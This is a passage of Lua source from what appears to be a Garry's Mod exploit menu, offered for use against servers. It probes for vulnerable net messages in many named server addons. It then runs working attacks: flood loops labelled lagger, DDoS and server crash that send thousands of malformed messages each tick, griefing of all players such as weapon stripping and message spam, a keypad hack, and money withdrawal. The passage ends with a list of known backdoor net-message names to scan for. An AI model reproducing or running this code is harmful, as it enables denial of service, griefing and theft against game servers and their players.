6032 net.SendToServer()
6033 end)
6034 end
6035
6036 status = ValidNetString("DeployMask") -- 37.230.228.248:27016
6037
6038 if (status) then
6039 ECPrint("Found Exploit: To wear a gas mask at all players [DeployMask]")
6040
6041 addExploit("255", "To wear a gas mask", "Exploit puts gas masks on all players, discovered by Leith", function()
6042 surface.PlaySound("garrysmod/ui_click.wav")
6043 ECNotify("Starting")
6044
6045 for k, v in pairs(ents.GetAll()) do
6046 net.Start("DeployMask")
6047 net.WriteEntity(v)
6048 net.SendToServer()
6049 end
6050 end)
6051 end
6052
6053 status = ValidNetString("RemoveMask") -- 37.230.228.248:27016
6054
6055 if (status) then
6056 ECPrint("Found Exploit: Remove the gas mask from all players [RemoveMask]")
6057
6058 addExploit("256", "Remove the gas mask", "The exploit takes off gas masks from all players, discovered by Leith", function()
6059 surface.PlaySound("garrysmod/ui_click.wav")
6060 ECNotify("Starting")
6061
6062 for k, v in pairs(ents.GetAll()) do
6063 net.Start("RemoveMask")
6064 net.WriteEntity(v)
6065 net.SendToServer()
6066 end
6067 end)
6068 end
6069
6070 status = ValidNetString("SwapFilter") -- 37.230.228.248:27016
6071
6072 if (status) then
6073 ECPrint("Found Exploit: Change all filters of a gas mask [SwapFilter]")
6074
6075 addExploit("257", "Change all filters", "Exploit changes the filter for all gas masks, discovered by Leith", function()
6076 surface.PlaySound("garrysmod/ui_click.wav")
6077 ECNotify("Starting")
6078
6079 for k, v in pairs(ents.GetAll()) do
6080 net.Start("SwapFilter")
6081 net.WriteEntity(v)
6082 net.SendToServer()
6083 end
6084 end)
6085 end
6086
6087 status = ValidNetString("WipeMask") -- 37.230.228.248:27016
6088
6089 if (status) then
6090 ECPrint("Found Exploit: Wipe gas masks [WipeMask]")
6091
6092 addExploit("258", "Wipe gas masks", "Exploit wipes all gas masks, discovered by Leith", function()
6093 surface.PlaySound("garrysmod/ui_click.wav")
6094 ECNotify("Starting")
6095
6096 for k, v in pairs(ents.GetAll()) do
6097 net.Start("WipeMask")
6098 net.WriteEntity(v)
6099 net.SendToServer()
6100 end
6101 end)
6102 end
6103
6104 status = ValidNetString("UseMedkit") -- 37.230.228.248:27016
6105
6106 if (status) then
6107 ECPrint("Found Exploit: Use Medkit [UseMedkit]")
6108
6109 addExploit("259", "Use Medkit", "Exploit uses a first aid kit on all players, discovered by Leith", function()
6110 surface.PlaySound("garrysmod/ui_click.wav")
6111 ECNotify("Starting")
6112
6113 for k, v in pairs(ents.GetAll()) do
6114 net.Start("UseMedkit")
6115 net.WriteEntity(v)
6116 net.SendToServer()
6117 end
6118 end)
6119 end
6120
6121 status = ValidNetString("IDInv_RequestBank")
6122
6123 if (status) then
6124 ECPrint("Found Exploit: Lagger #23 [IDInv_RequestBank]")
6125
6126 addExploit("260", "Lagger #23", "an exploit in the addon 'IDinventory', discovered by Leith", function()
6127 surface.PlaySound("garrysmod/ui_click.wav")
6128 ECNotify("Starting")
6129
6130 if not timer.Exists("lagger23") then
6131 timer.Create("lagger23", 0, 0, function()
6132 for i = 1, 1000 do
6133 net.Start("IDInv_RequestBank", true)
6134 net.SendToServer()
6135 end
6136 end)
6137 end
6138 end)
6139 end
6140
6141 status = ValidNetString("casinokit_chipexchange")
6142
6143 if (status) then
6144 ECPrint("Found Exploit: Lagger #24 [casinokit_chipexchange]")
6145
6146 addExploit("261", "Lagger #24", "an exploit in the addon 'CasinoKit', discovered by Leith", function()
6147 surface.PlaySound("garrysmod/ui_click.wav")
6148 ECNotify("Starting")
6149
6150 if not timer.Exists("lagger24") then
6151 timer.Create("lagger24", 0, 0, function()
6152 for i = 1, 1000 do
6153 net.Start("casinokit_chipexchange", true)
6154 net.WriteEntity(LocalPlayer())
6155 net.WriteString("darkrp")
6156 net.WriteBool(false)
6157 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
6158 net.SendToServer()
6159 end
6160 end)
6161 end
6162 end)
6163 end
6164
6165 status = ValidNetString("RemoveTag")
6166
6167 if (status) then
6168 ECPrint("Found Exploit: 1tap server [RemoveTag]")
6169
6170 addExploit("262", "1tap server", "discovered by Leith", function()
6171 surface.PlaySound("garrysmod/ui_click.wav")
6172 ECNotify("Starting")
6173
6174 timer.Create("1tap", 0.5, 0, function()
6175 for i = 1, 4000 do
6176 net.Start("RemoveTag")
6177 net.WriteFloat(9999999999999999999999999999999999999999999999999999999999)
6178 net.SendToServer()
6179 end
6180 end)
6181 end)
6182 end
6183
6184 status = ValidNetString("desktopPrinter_Withdraw")
6185
6186 if (status) then
6187 ECPrint("Found Exploit: Lagger #25 [desktopPrinter_Withdraw]")
6188
6189 addExploit("263", "Lagger #25", "an exploit in the addon 'Desktop Printers', discovered by Leith", function()
6190 surface.PlaySound("garrysmod/ui_click.wav")
6191 ECNotify("Starting")
6192
6193 if not timer.Exists("lagger25") then
6194 timer.Create("lagger25", 0, 0, function()
6195 for i = 1, 1000 do
6196 net.Start("desktopPrinter_Withdraw", true)
6197 net.WriteEntity(LocalPlayer())
6198 net.SendToServer()
6199 end
6200 end)
6201 end
6202 end)
6203 end
6204
6205 status = ValidNetString("sphys_dupe")
6206
6207 if (status) then
6208 ECPrint("Found Exploit: Lagger #26 [sphys_dupe]")
6209
6210 addExploit("264", "Lagger #26", "an exploit in the addon 'Simfphys', discovered by Solly", function()
6211 surface.PlaySound("garrysmod/ui_click.wav")
6212 ECNotify("Starting")
6213
6214 timer.Create("lagger26", 0.2, 0, function()
6215 for i = 1, 2200 do
6216 net.Start("sphys_dupe", true)
6217 net.SendToServer()
6218 end
6219 end)
6220 end)
6221 end
6222
6223 status = ValidNetString("simfphys_gasspill")
6224
6225 if (status) then
6226 ECPrint("Found Exploit: Poop on players [simfphys_gasspill]")
6227
6228 addExploit("265", "Poop on players", "an exploit in the addon 'Simfphys', discovered by Solly", function()
6229 surface.PlaySound("garrysmod/ui_click.wav")
6230 ECNotify("Starting")
6231
6232 timer.Create("poop", 0.1, 0, function()
6233 for k, v in pairs(player.GetAll()) do
6234 for j = 1, 3 do
6235 if IsValid(v) then
6236 net.Start("simfphys_gasspill")
6237 net.WriteVector(v:GetPos() + Vector(0, 0, 90))
6238 net.WriteVector(v:EyePos())
6239 net.SendToServer()
6240 end
6241 end
6242 end
6243 end)
6244 end)
6245 end
6246
6247 status = ValidNetString("dronesrewrite_controldr")
6248
6249 if (status) then
6250 ECPrint("Found Exploit: Lagger #27 [dronesrewrite_controldr]")
6251
6252 addExploit("266", "Lagger #27", "discovered by Solly", function()
6253 surface.PlaySound("garrysmod/ui_click.wav")
6254 ECNotify("Starting")
6255
6256 timer.Create("lagger27", 0.2, 0, function()
6257 for i = 1, 2200 do
6258 net.Start("dronesrewrite_controldr", true)
6259 net.SendToServer()
6260 end
6261 end)
6262 end)
6263 end
6264
6265 status = ValidNetString("SCP-294Sv")
6266
6267 if (status) then
6268 ECPrint("Found Exploit: SCP-294 Exploit [SCP-294Sv]")
6269
6270 addExploit("267", "SCP-294 Exploit", "discovered by questionmark", function()
6271 surface.PlaySound("garrysmod/ui_click.wav")
6272 ECNotify("Starting")
6273
6274 for k, v in pairs(ents.GetAll()) do
6275 net.Start("SCP-294Sv")
6276 net.WriteString("acid")
6277 net.WriteEntity(v)
6278 net.SendToServer()
6279 end
6280 end)
6281 end
6282
6283 status = ValidNetString("VC_PlayerReady")
6284
6285 if (status) then
6286 ECPrint("Found Exploit: Lagger #28 [VC_PlayerReady]")
6287
6288 addExploit("268", "Lagger #28", "an exploit in the addon 'VCMod', discovered by Leith", function()
6289 surface.PlaySound("garrysmod/ui_click.wav")
6290 ECNotify("Starting")
6291
6292 timer.Create("lagger28", 0, 0, function()
6293 for i = 1, 1000 do
6294 net.Start("VC_PlayerReady", true)
6295 net.SendToServer()
6296 end
6297 end)
6298 end)
6299 end
6300
6301 status = ValidNetString("phone")
6302
6303 if (status) then
6304 ECPrint("Found Exploit: Call all players [phone]")
6305
6306 addExploit("269", "Call all players", "discovered by questionmark", function()
6307 surface.PlaySound("garrysmod/ui_click.wav")
6308 ECNotify("Starting")
6309
6310 for k, v in pairs(player.GetAll()) do
6311 net.Start("phone")
6312
6313 net.WriteTable{
6314 ply = v,
6315 act = 'call'
6316 }
6317
6318 net.SendToServer()
6319 end
6320 end)
6321 end
6322
6323 status = ValidNetString("blueatm")
6324
6325 if (status) then
6326 ECPrint("Found Exploit: Lagger #29 [blueatm]")
6327
6328 addExploit("270", "Lagger #29", "an exploit in the addon 'Blue ATM', discovered by Leith", function()
6329 surface.PlaySound("garrysmod/ui_click.wav")
6330 ECNotify("Starting")
6331
6332 timer.Create("lagger29", 0, 0, function()
6333 for i = 1, 1000 do
6334 net.Start("blueatm", true)
6335 net.WriteEntity(LocalPlayer())
6336 net.SendToServer()
6337 end
6338 end)
6339 end)
6340 end
6341
6342 status = ValidNetString("cab_cd_testdrive")
6343
6344 if (status) then
6345 ECPrint("Found Exploit: Stavox Teleport [cab_cd_testdrive]")
6346
6347 addExploit("271", "Stavox Teleport", "discovered by Aromatic", function()
6348 surface.PlaySound("garrysmod/ui_click.wav")
6349 ECNotify("Starting")
6350 net.Start('cab_cd_testdrive')
6351 net.WriteUInt(0, 3)
6352 net.WriteUInt(5, 8)
6353 net.SendToServer()
6354 end)
6355 end
6356
6357 status = ValidNetString("cab_sendmessage")
6358
6359 if (status) then
6360 ECPrint("Found Exploit: Stavox Message [cab_sendmessage]")
6361
6362 addExploit("272", "Stavox Message", "discovered by Aromatic", function()
6363 surface.PlaySound("garrysmod/ui_click.wav")
6364 ECNotify("Starting")
6365
6366 for k, v in pairs(player.GetAll()) do
6367 net.Start("cab_sendmessage")
6368 net.WriteEntity(v)
6369 net.WriteString("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
6370 net.SendToServer()
6371 end
6372 end)
6373 end
6374
6375 status = ValidNetString("disguise")
6376
6377 if (status) then
6378 ECPrint("Found Exploit: Lagger #30 [disguise]")
6379
6380 addExploit("273", "Lagger #30", "discovered by Aromatic & Leith", function()
6381 surface.PlaySound("garrysmod/ui_click.wav")
6382
6383 timer.Create("lagger30", 0, 0, function()
6384 for i = 1, 1000 do
6385 net.Start("disguise", true)
6386 net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 32)
6387 net.SendToServer()
6388 end
6389 end)
6390 end)
6391 end
6392
6393 status = ValidNetString("FARMINGMOD_DROPITEM")
6394
6395 if (status) then
6396 ECPrint("Found Exploit: Lagger #31 [FARMINGMOD_DROPITEM]")
6397
6398 addExploit("274", "Lagger #31", "discovered by Leith", function()
6399 surface.PlaySound("garrysmod/ui_click.wav")
6400
6401 timer.Create("lagger31", 0, 0, function()
6402 for i = 1, 1000 do
6403 net.Start("FARMINGMOD_DROPITEM", true)
6404 net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 16)
6405 net.SendToServer()
6406 end
6407 end)
6408 end)
6409 end
6410
6411 status = ValidNetString("SlotsRemoved")
6412
6413 if (status) then
6414 ECPrint("Found Exploit: Lagger #32 [SlotsRemoved]")
6415
6416 addExploit("275", "Lagger #32", "an exploit in the addon 'PointShop 2 Perma Weapons', discovered by Leith", function()
6417 surface.PlaySound("garrysmod/ui_click.wav")
6418
6419 timer.Create("lagger32", 0, 0, function()
6420 for i = 1, 1000 do
6421 net.Start("SlotsRemoved", true)
6422 net.SendToServer()
6423 end
6424 end)
6425 end)
6426 end
6427
6428 status = ValidNetString("AirDrops_StartPlacement")
6429
6430 if (status) then
6431 ECPrint("Found Exploit: Lagger #33 [AirDrops_StartPlacement]")
6432
6433 addExploit("276", "Lagger #33", "an exploit in the addon 'PointShop 2 AirDrops', discovered by Dembi", function()
6434 surface.PlaySound("garrysmod/ui_click.wav")
6435
6436 timer.Create("lagger33", 0, 0, function()
6437 for i = 1, 1000 do
6438 net.Start("AirDrops_StartPlacement", true)
6439 net.SendToServer()
6440 end
6441 end)
6442 end)
6443 end
6444
6445 status = ValidNetString("pp_info_send")
6446
6447 if (status) then
6448 ECPrint("Found Exploit: Lagger #34 [pp_info_send]")
6449
6450 addExploit("277", "Lagger #34", "an exploit in the addon 'Perma Props',discovered by Leith", function()
6451 surface.PlaySound("garrysmod/ui_click.wav")
6452
6453 timer.Create("lagger33", 0, 0, function()
6454 for i = 1, 1000 do
6455 net.Start("pp_info_send", true)
6456 net.SendToServer()
6457 end
6458 end)
6459 end)
6460 end
6461
6462 status = ValidNetString("IGS.GetPaymentURL")
6463
6464 if (status) then
6465 ECPrint("Found Exploit: Lagger #35 [IGS.GetPaymentURL]")
6466
6467 addExploit("278", "Lagger #35", "an exploit in the 'IGS', discovered by Leith", function()
6468 surface.PlaySound("garrysmod/ui_click.wav")
6469
6470 timer.Create("lagger35", 0, 0, function()
6471 for i = 1, 1000 do
6472 net.Start("IGS.GetPaymentURL", true)
6473 net.WriteDouble(9999999999999999999999999999999999999999999999999999999999)
6474 net.SendToServer()
6475 end
6476 end)
6477 end)
6478 end
6479
6480 status = ValidNetString("fg_printer_money")
6481
6482 if (status) then
6483 ECPrint("Found Exploit: Lagger #36 [fg_printer_money]")
6484
6485 addExploit("279", "Lagger #36", "an exploit in the 'FG Printers', discovered by Aromatic", function()
6486 surface.PlaySound("garrysmod/ui_click.wav")
6487
6488 timer.Create("lagger36", 0, 0, function()
6489 for i = 1, 1000 do
6490 net.Start('fg_printer_money', true)
6491 net.WriteEntity(LocalPlayer())
6492 net.SendToServer()
6493 end
6494 end)
6495 end)
6496 end
6497
6498 status = ValidNetString("tickbookpayfine")
6499
6500 if (status) then
6501 ECPrint("Found Exploit: Lagger #37 [tickbookpayfine]")
6502
6503 addExploit("280", "Lagger #37", "an exploit in the 'Ticket Book', discovered by Aromatic", function()
6504 surface.PlaySound("garrysmod/ui_click.wav")
6505
6506 timer.Create("lagger37", 0, 0, function()
6507 for i = 1, 1000 do
6508 net.Start("tickbookpayfine", true)
6509 net.SendToServer()
6510 end
6511 end)
6512 end)
6513 end
6514
6515 status = ValidNetString("BeginSpin")
6516
6517 if (status) then
6518 ECPrint("Found Exploit: Lagger #38 [BeginSpin]")
6519
6520 addExploit("281", "Lagger #38", "an exploit in the 'Blue Unbox 2', discovered by Leith", function()
6521 surface.PlaySound("garrysmod/ui_click.wav")
6522
6523 timer.Create("lagger38", 0, 0, function()
6524 for i = 1, 1000 do
6525 net.Start("BeginSpin", true)
6526 net.SendToServer()
6527 end
6528 end)
6529 end)
6530 end
6531
6532 status = ValidNetString("DuelRequestClient")
6533
6534 if (status) then
6535 ECPrint("Found Exploit: Lagger #39 [DuelRequestClient]")
6536
6537 addExploit("282", "Lagger #39", "discovered by Leith", function()
6538 surface.PlaySound("garrysmod/ui_click.wav")
6539
6540 timer.Create("lagger39", 0, 0, function()
6541 for i = 1, 1000 do
6542 net.Start("DuelRequestClient", true)
6543 net.SendToServer()
6544 end
6545 end)
6546 end)
6547 end
6548
6549 status = ValidNetString("ncpstoredoact")
6550
6551 if (status) then
6552 ECPrint("Found Exploit: Lagger #40 [ncpstoredoact]")
6553
6554 addExploit("283", "Lagger #40", "an exploit in the addon 'NPC Store',discovered by Leith", function()
6555 surface.PlaySound("garrysmod/ui_click.wav")
6556
6557 timer.Create("lagger40", 0, 0, function()
6558 for i = 1, 1000 do
6559 net.Start("ncpstoredoact", true)
6560 net.SendToServer()
6561 end
6562 end)
6563 end)
6564 end
6565
6566 status = ValidNetString("PermwepsNPCSellWeapon")
6567
6568 if (status) then
6569 ECPrint("Found Exploit: Lagger #41 [PermwepsNPCSellWeapon]")
6570
6571 addExploit("284", "Lagger #41", "discovered by Leith", function()
6572 surface.PlaySound("garrysmod/ui_click.wav")
6573
6574 timer.Create("lagger41", 0, 0, function()
6575 for i = 1, 2000 do
6576 net.Start("PermwepsNPCSellWeapon", true)
6577 net.WriteString("")
6578 net.SendToServer()
6579 end
6580 end)
6581 end)
6582 end
6583
6584 status = ValidNetString("bitcoins_request_withdraw")
6585
6586 if (status) then
6587 ECPrint("Found Exploit: Lagger #42 [bitcoins_request_withdraw]")
6588
6589 addExploit("285", "Lagger #42", "discovered by Leith", function()
6590 surface.PlaySound("garrysmod/ui_click.wav")
6591
6592 timer.Create("lagger42", 0, 0, function()
6593 for i = 1, 2000 do
6594 net.Start("bitcoins_request_withdraw", true)
6595 net.SendToServer()
6596 end
6597 end)
6598 end)
6599 end
6600
6601 status = ValidNetString("bitcoins_request_turn_on")
6602
6603 if (status) then
6604 ECPrint("Found Exploit: To include all bitcoin miners [bitcoins_request_turn_on]")
6605
6606 addExploit("286", "To include all bitcoin miners", "discovered by Leith", function()
6607 surface.PlaySound("garrysmod/ui_click.wav")
6608 ECNotify("Starting")
6609
6610 for k, v in pairs(ents.GetAll()) do
6611 if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
6612 net.Start("bitcoins_request_turn_on")
6613 net.WriteEntity(v)
6614 net.SendToServer()
6615 end
6616 end
6617 end)
6618 end
6619
6620 status = ValidNetString("bitcoins_request_turn_off")
6621
6622 if (status) then
6623 ECPrint("Found Exploit: Disable all bitcoin miners [bitcoins_request_turn_off]")
6624
6625 addExploit("287", "Disable all bitcoin miners", "discovered by Leith", function()
6626 surface.PlaySound("garrysmod/ui_click.wav")
6627 ECNotify("Starting")
6628
6629 for k, v in pairs(ents.GetAll()) do
6630 if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
6631 net.Start("bitcoins_request_turn_off")
6632 net.WriteEntity(v)
6633 net.SendToServer()
6634 end
6635 end
6636 end)
6637 end
6638
6639 status = ValidNetString("NET_AM_MakePotion")
6640
6641 if (status) then
6642 ECPrint("Found Exploit: Lagger #43 [NET_AM_MakePotion]")
6643
6644 addExploit("288", "Lagger #43", "discovered by Leith", function()
6645 surface.PlaySound("garrysmod/ui_click.wav")
6646 ECNotify("Starting")
6647
6648 timer.Create("lagger43", 0, 0, function()
6649 for i = 1, 2000 do
6650 net.Start('NET_AM_MakePotion', true)
6651 net.WriteEntity(LocalPlayer())
6652 net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 8)
6653 net.SendToServer()
6654 end
6655 end)
6656 end)
6657 end
6658
6659 status = ValidNetString("minigun_drones_switch")
6660
6661 if (status) then
6662 ECPrint("Found Exploit: Lagger #44 [minigun_drones_switch]")
6663
6664 addExploit("289", "Lagger #44", "discovered by Solly", function()
6665 surface.PlaySound("garrysmod/ui_click.wav")
6666 ECNotify("Starting")
6667
6668 timer.Create("lagger44", 0.2, 0, function()
6669 for i = 1, 2200 do
6670 net.Start("minigun_drones_switch", true)
6671 net.SendToServer()
6672 end
6673 end)
6674 end)
6675 end
6676
6677 status = ValidNetString("CW20_PRESET_LOAD")
6678
6679 if (status) then
6680 ECPrint("Found Exploit: Lagger #45 (u need cw2 weapon in hand) [CW20_PRESET_LOAD]")
6681
6682 addExploit("290", "Lagger #45", "(u need cw2 weapon in hand),discovered by Solly", function()
6683 surface.PlaySound("garrysmod/ui_click.wav")
6684 ECNotify("Starting")
6685
6686 timer.Create("lagger45", 0.2, 0, function()
6687 if (LocalPlayer():GetActiveWeapon():GetClass():find("cw")) then
6688 for i = 1, 2200 do
6689 net.Start("CW20_PRESET_LOAD", true)
6690 net.SendToServer()
6691 end
6692 end
6693 end)
6694 end)
6695 end
6696
6697 status = ValidNetString("SBP_addtime")
6698
6699 if (status) then
6700 ECPrint("Found Exploit: Lagger #46 [SBP_addtime]")
6701
6702 addExploit("291", "Lagger #46", "discovered by Solly", function()
6703 surface.PlaySound("garrysmod/ui_click.wav")
6704 ECNotify("Starting")
6705
6706 timer.Create("lagger46", 0.3, 0, function()
6707 for i = 1, 2200 do
6708 net.Start("SBP_addtime", true)
6709 net.SendToServer()
6710 end
6711 end)
6712 end)
6713 end
6714
6715 status = ValidNetString("NetData")
6716
6717 if (status) then
6718 ECPrint("Found Exploit: Outfit player nouser [NetData]")
6719
6720 addExploit("292", "Outfit player nouser", "Just noise players near u (discovered by Solly)", function()
6721 surface.PlaySound("garrysmod/ui_click.wav")
6722 ECNotify("Starting")
6723
6724 for k, v in pairs(player.GetAll()) do
6725 net.Start("NetData")
6726 net.WriteString("OF")
6727 net.WriteUInt(4, 8)
6728 net.WriteData(math.random(100000, 9999999) .. ",sis.mdl", 30)
6729 net.SendToServer()
6730 end
6731 end)
6732 end
6733
6734 status = ValidNetString("StackGhost")
6735
6736 if (status) then
6737 ECPrint("Found Exploit: DDoS #1")
6738
6739 addExploit("294", "DDoS #1", "Creates lags on server [StackGhost]", function()
6740 surface.PlaySound("garrysmod/ui_click.wav")
6741 ECNotify("Starting")
6742
6743 timer.Create("DDoS", 0.02, 0, function()
6744 for i = 1, 2000 do
6745 net.Start("StackGhost", true)
6746 net.WriteInt(69, 32)
6747 net.SendToServer()
6748 end
6749 end)
6750 end)
6751 end
6752
6753 status = ValidNetString("pac_submit")
6754
6755 if (status) then
6756 ECPrint("Found Exploit: DDoS #2")
6757
6758 addExploit("295", "DDoS #2", "Creates lags on server [pac_sumbit]", function()
6759 surface.PlaySound("garrysmod/ui_click.wav")
6760 ECNotify("Starting")
6761
6762 -----------------------------------
6763 timer.Create("DDoS2", 0.02, 0, function()
6764 for i = 1, 1000 do
6765 Disco.NetStart("pac_submit")
6766 net.SendToServer()
6767 end
6768 end)
6769 end)
6770 ----------------------------------
6771 end
6772
6773 status = ValidNetString("RequestMAPSize")
6774
6775 if (status) then
6776 ECPrint("Found Exploit: 1tap server [MapSize]")
6777
6778 addExploit("296", "1tap server [MapSize]", "-1 server", function()
6779 surface.PlaySound("garrysmod/ui_click.wav")
6780 ECNotify("Starting")
6781
6782 -----------------------------------
6783 timer.Create("lagger10", 0, 0, function()
6784 for i = 1, 400 do
6785 net.Start("RequestMAPSize")
6786 net.SendToServer()
6787 end
6788 end)
6789 end)
6790 ----------------------------------
6791 end
6792
6793 status = ValidNetString("properties")
6794
6795 if (status) then
6796 ECPrint("Found Exploit: Weapon Strip")
6797
6798 addExploit("297", "Weapon Strip", "-weapon", function()
6799 surface.PlaySound("garrysmod/ui_click.wav")
6800 ECNotify("Starting")
6801
6802 -----------------------------------
6803 for k, v in pairs(player.GetAll()) do
6804 if v:IsPlayer() then
6805 for k, v in pairs(v:GetWeapons()) do
6806 net.Start("properties")
6807 net.WriteString("remove", 32)
6808 net.WriteEntity(v)
6809 net.SendToServer()
6810 end
6811 end
6812 end
6813 end)
6814 ----------------------------------
6815 end
6816
6817 status = ValidNetString("start_wd_emp")
6818
6819 if (status) then
6820 ECPrint("Found Exploit: Hack Keypad")
6821
6822 addExploit("298", "HackKeypad", "Hack Keypad", function()
6823 surface.PlaySound("garrysmod/ui_click.wav")
6824 ECNotify("Starting")
6825 -----------------------------------
6826 net.Start('start_wd_emp')
6827 net.SendToServer()
6828 end)
6829 ----------------------------------
6830 end
6831
6832 status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
6833
6834 if (status) then
6835 ECPrint("Found Exploit: Server Crash")
6836
6837 addExploit("299", "Server Crash", " ", function()
6838 surface.PlaySound("garrysmod/ui_click.wav")
6839 ECNotify("Starting")
6840
6841 -----------------------------------
6842 timer.Create("crasher2", 0, 0, function()
6843 for i = 1, 400 do
6844 net.Start("pac.net.TouchFlexes.ClientNotify")
6845 net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 13)
6846 net.SendToServer()
6847 end
6848 end)
6849 end)
6850 ----------------------------------
6851 end
6852
6853 status = ValidNetString("ItemStoreDrop")
6854
6855 if (status) then
6856 ECPrint("Found Exploit: DDoS item")
6857
6858 addExploit("300", "DDoS item", " ", function()
6859 surface.PlaySound("garrysmod/ui_click.wav")
6860 ECNotify("Starting")
6861
6862 -----------------------------------
6863 timer.Create("lagger7", 0, 0, function()
6864 for i = 1, 1000 do
6865 net.Start("ItemStoreDrop")
6866 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
6867 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
6868 net.SendToServer()
6869 end
6870 end)
6871 end)
6872 ----------------------------------
6873 end
6874
6875 status = ValidNetString("TFA_Attachment_RequestAll")
6876
6877 if (status) then
6878 ECPrint("Found Exploit: TFA LAGGER")
6879
6880 addExploit("301", "TFA LAGGER", " ", function()
6881 surface.PlaySound("garrysmod/ui_click.wav")
6882 ECNotify("Starting")
6883
6884 -----------------------------------
6885 timer.Create("lagger20", 0.02, 0, function()
6886 for i = 1, 4400 do
6887 net.Start("TFA_Attachment_RequestAll", true)
6888 net.SendToServer()
6889 end
6890 end)
6891 end)
6892 ----------------------------------
6893 end
6894
6895 status = ValidNetString("ts_buytitle")
6896
6897 if (status) then
6898 ECPrint("Found Exploit: Lagger #47 [ts_buytitle]")
6899
6900 addExploit("302", "Lagger #47", "an exploit in the addon 'TitleStore'", function()
6901 surface.PlaySound("garrysmod/ui_click.wav")
6902 ECNotify("Starting")
6903
6904 timer.Create("lagger47", 0, 0, function()
6905 for i = 1, 1000 do
6906 net.Start("ts_buytitle", true)
6907 net.WriteTable({})
6908 net.WriteTable({})
6909 net.WriteTable({})
6910 net.SendToServer()
6911 end
6912 end)
6913 end)
6914 end
6915
6916 status = ValidNetString("SBP_addtime")
6917
6918 if (status) then
6919 ECPrint("Found Exploit: XP Booster [SBP_addtime]")
6920
6921 addExploit("293", "XP Booster", "discovered by Solly", function()
6922 inputFrameExists = true
6923 inputFrame = vgui.Create("DFrame")
6924 inputFrame:SetTitle("Enter the number")
6925 inputFrame:SetSize(400, 75)
6926 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
6927 inputFrame:SetDraggable(false)
6928 inputFrame:ShowCloseButton(true)
6929 inputFrame:MakePopup()
6930
6931 inputFrame.Paint = function(self, w, h)
6932 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
6933 end
6934
6935 local TextEntry = vgui.Create("DTextEntry", inputFrame)
6936 TextEntry:SetSize(380, 30)
6937 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
6938 TextEntry:SetText("100")
6939
6940 TextEntry.OnEnter = function(self)
6941 surface.PlaySound("garrysmod/ui_click.wav")
6942
6943 timer.Create("ofn", 0.2, 0, function()
6944 for i = 1, tonumber(self:GetText()) do
6945 net.Start("SBP_addtime")
6946 net.SendToServer()
6947 end
6948
6949 inputFrame:SetVisible(false)
6950 end)
6951 end
6952 end)
6953 end
6954
6955 --/////////////////////////////////////////// [OTHER] /////////////////////////////////////////////
6956 status = ValidNetString("EnterpriseWithdraw")
6957
6958 if (status) then
6959 ECPrint("Found Exploit: ENTERPRISE FOUND! [EnterpriseWithdraw]")
6960
6961 addExploit("1337", "ENTERPRISE FOUND!", "discovered by Leith", function()
6962 surface.PlaySound("garrysmod/ui_click.wav")
6963 ECNotify("Starting")
6964 net.Start("EnterpriseWithdraw")
6965 net.WriteInt(100, 32)
6966 net.SendToServer()
6967 end)
6968 end
6969
6970 status = ValidNetString("SetPermaKnife")
6971
6972 if (status) then
6973 ECPrint("Found Exploit: PERMA KNIFE FOUND [SetPermaKnife]")
6974
6975 addExploit("1337", "PERMA KNIFE FOUND", "PERMA KNIFE FOUND", function()
6976 surface.PlaySound("garrysmod/ui_click.wav")
6977 end)
6978 --[[
6979 function cockSucker(ply,cmd,args,argStr)
6980 local ply = LocalPlayer()
6981
6982 net.Start( "SetPermaKnife" )
6983 net.WriteString( string.TrimRight(argStr,".lua") )
6984 net.SendToServer()
6985 end
6986
6987 concommand.Add("gibe_weapon",cockSucker)
6988 ]]
6989 end
6990 ----------------------------------------------------------------------------------
6991 -- for k, v in pairs(player.GetAll()) do
6992 -- for k, v in pairs(ents.GetAll()) do
6993 ----------------------------------------------------------------------------------
6994 -- if !timer.Exists("lagger") then
6995 -- timer.Create("lagger", 0, 0, function()
6996 -- for i = 1, 1000 do
6997 -----------------------------
6998 -- 9999999999999999999999999999999999999999999999999999999999
6999 -- 0xFFFFFFF
7000 --------------------------------------------------------------------------------------------------
7001 --------------------------------------------------------------------------------------------------
7002 --------------------------------------------------------------------------------------------------
7003
7004end
7005concommand.Add('R8_Exploit', function()
7006 R8_Menu()
7007end)
7008
7009
7010local BD = {}
7011netKey = "memeDoor"
7012BackdoorsFound = 0
7013
7014function ValidNetString(str)
7015 local status, error = pcall(net.Start, str)
7016
7017 return status
7018end
7019
7020BackDoor_net = {
7021 {
7022 NetWork = "Sandbox_ArmDupe"
7023 },
7024 {
7025 NetWork = "Sbox_darkrp"
7026 },
7027 {
7028 NetWork = "Sbox_itemstore"
7029 },
7030 {
7031 NetWork = "Ulib_Message"
7032 },
7033 {
7034 NetWork = "ULogs_Info"
7035 },
7036 {
7037 NetWork = "ITEM"
7038 },
7039 {
7040 NetWork = "R8"
7041 },
7042 {
7043 NetWork = "fix"
